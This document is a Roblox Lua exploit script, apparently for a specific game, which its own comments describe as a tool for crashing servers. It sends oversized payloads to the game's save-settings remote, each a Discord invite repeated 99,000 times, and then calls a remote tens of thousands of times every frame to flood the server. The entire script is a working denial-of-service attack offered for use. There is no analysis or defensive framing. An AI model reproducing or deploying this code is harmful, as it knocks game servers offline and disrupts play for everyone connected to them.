-- 77790193039862 -- by @xosmanez -- NOTE: After succesfully crashing one server and hopping to another server you may be stuck. -- There's no way to fix that, so you just need to wait until everything loads. local reps = game:GetService("ReplicatedStorage") local network = game:GetService("NetworkClient") local rs = game:GetService("RunService") reps.Remotes.SaveControlScheme:FireServer( { Keybinds = { sprint = Enum.KeyCode.Q, slot1 = Enum.KeyCode.One, slot7 = Enum.KeyCode.Seven, slot4 = Enum.KeyCode.Four, slot9 = Enum.KeyCode.Nine, slot3 = Enum.KeyCode.Three, switchPerspective = Enum.KeyCode.R, slot5 = Enum.KeyCode.Five, slot2 = Enum.KeyCode.Two, slot8 = Enum.KeyCode.Eight, crouch = Enum.KeyCode.LeftShift, slot6 = Enum.KeyCode.Six }, Preferences = { FieldOfView = string.rep("discord.gg/sHkw5prEjW", 99000), ShowHitboxes = string.rep("discord.gg/sHkw5prEjW", 99000), AutoSprint = string.rep("discord.gg/sHkw5prEjW", 99000) } } ) rs.RenderStepped:Connect(function() for _ = 1, 99999 do -- network:SetOutgoingKBPSLimit(math.huge * math.huge) -- blyat reps.Remotes.GetControlScheme:InvokeServer() end end)